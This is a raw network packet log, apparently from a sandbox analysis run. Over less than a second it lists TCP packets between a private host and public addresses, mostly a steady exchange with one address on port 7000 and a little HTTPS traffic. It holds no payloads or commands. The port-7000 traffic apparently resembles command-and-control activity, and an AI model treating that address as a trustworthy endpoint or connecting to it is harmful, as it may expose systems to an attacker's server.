Dec 5, 2024 14:01:37.276294947 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.276344061 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.278718948 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.278827906 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.278872013 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.284605980 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.284742117 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.284790993 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.289983034 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.290128946 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.290179968 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.294058084 CET	443	49761	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.294153929 CET	443	49761	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.294200897 CET	49761	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.305708885 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.305871964 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.305927992 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.308326006 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.308345079 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.308412075 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.314402103 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.314480066 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.314536095 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.320610046 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.320725918 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.320785046 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.326843023 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.326965094 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.327012062 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.330857038 CET	49761	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.330871105 CET	443	49761	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.330895901 CET	49761	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.330903053 CET	443	49761	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.332525969 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.332736969 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.332808018 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.337460995 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.337558031 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.337608099 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.342262983 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.342401028 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.342453957 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.347846985 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.347942114 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.348002911 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.353985071 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.354016066 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.354072094 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.359524012 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.359622955 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.359672070 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.364948988 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.365075111 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.365130901 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.371140003 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.371228933 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.371280909 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.376019955 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.376132965 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.376185894 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.381719112 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.381812096 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.381870031 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.390744925 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.390897989 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.390958071 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.396235943 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.396367073 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.396419048 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.398659945 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.398821115 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.398873091 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.404606104 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.404824972 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.404877901 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.410007954 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.410075903 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.410124063 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.415494919 CET	49767	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.415530920 CET	443	49767	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.415591002 CET	49767	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.416656017 CET	49767	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.416671991 CET	443	49767	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.428252935 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.428272963 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.428344965 CET	443	49762	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.428360939 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.428363085 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.428380013 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.428404093 CET	443	49763	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.428419113 CET	443	49762	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.428423882 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.428468943 CET	49762	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.428488970 CET	443	49763	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.428522110 CET	49763	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.434294939 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.434376001 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.434417963 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.440751076 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.440948963 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.440994978 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.442200899 CET	443	49765	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:37.442270041 CET	49765	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:37.446881056 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.446970940 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.447021008 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.450171947 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.450243950 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.450299025 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.452655077 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.452841997 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.452883005 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.457357883 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.457544088 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.457595110 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.462141991 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.462222099 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.462271929 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.467892885 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.467993975 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.468040943 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.473877907 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.473949909 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.474016905 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.479623079 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.479746103 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.479793072 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.484909058 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.485008001 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.485060930 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.491180897 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.491380930 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.491426945 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.492393017 CET	49765	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:37.492423058 CET	443	49765	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:37.492820978 CET	443	49765	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:37.496222973 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.501265049 CET	49762	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.501293898 CET	443	49762	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.501307011 CET	49762	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.501313925 CET	443	49762	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.501723051 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.501765966 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.501807928 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.503078938 CET	49763	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.503087044 CET	443	49763	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.512015104 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.512068987 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.512087107 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.517065048 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.517111063 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.517255068 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.519357920 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.519387007 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.519409895 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.524741888 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.524784088 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.524832010 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.529834986 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.529884100 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.529892921 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.535777092 CET	443	49764	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.535846949 CET	443	49764	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.535940886 CET	49764	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.548408985 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.548449993 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.548496962 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.548527002 CET	49765	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:37.550549984 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.550590038 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.550688982 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.555016994 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.555075884 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.555141926 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.560846090 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.560909033 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.560930967 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.566922903 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.566977978 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.567008018 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.570024967 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.570081949 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.570135117 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.573719025 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.573779106 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.573849916 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.578123093 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.578191996 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.578206062 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.582614899 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.582685947 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.582726002 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.588162899 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.588223934 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.588237047 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.593842983 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.593902111 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.593976974 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.599606991 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.599663973 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.599714994 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.605011940 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.605067968 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.605094910 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.611754894 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.611821890 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.612112999 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.621541023 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.621592999 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.621643066 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.632044077 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.632117033 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.632122993 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.637053013 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.637115002 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.637156963 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.639302969 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.639353037 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.639420033 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.644790888 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.644848108 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.644922018 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.649632931 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.649684906 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.649758101 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.668325901 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.668349028 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.668412924 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.670623064 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.670677900 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.670690060 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.675259113 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.675307989 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.675342083 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.680784941 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.680847883 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.680856943 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.686830044 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.686882019 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.687060118 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.690237999 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.690264940 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.690298080 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.693938017 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.693995953 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.694010973 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.698338032 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.698395967 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.698396921 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.702963114 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.703010082 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.703078032 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.708061934 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.708120108 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.708189011 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.713855028 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.713917017 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.713922024 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.719544888 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.719585896 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.720153093 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.724936008 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.724988937 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.725033045 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.731633902 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.731684923 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.731803894 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.741399050 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.741463900 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.741528988 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.752563000 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.752621889 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.752697945 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.757577896 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.757623911 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.757695913 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.759996891 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.760035038 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.760073900 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.764719009 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.764774084 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.764782906 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.764801025 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.788269997 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.788431883 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.791217089 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.886037111 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.886128902 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.886173010 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.888252974 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.888374090 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.888423920 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.892741919 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.892867088 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.892905951 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.897407055 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.897450924 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.897497892 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.901557922 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.902975082 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.903034925 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.903044939 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.907748938 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.907849073 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.907861948 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.912144899 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.912209988 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.912314892 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.916846037 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.916906118 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.916934013 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.919207096 CET	49764	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.919207096 CET	49764	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.919238091 CET	443	49764	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.919250965 CET	443	49764	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.921423912 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.921483994 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.921536922 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.926075935 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.926115990 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.926189899 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.930675983 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.930727959 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.930854082 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.935197115 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.935247898 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.935344934 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.939996958 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.940046072 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.940047979 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.942687988 CET	49768	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.942719936 CET	443	49768	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.942790985 CET	49768	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.943650961 CET	49768	443	192.168.2.6	13.107.246.63
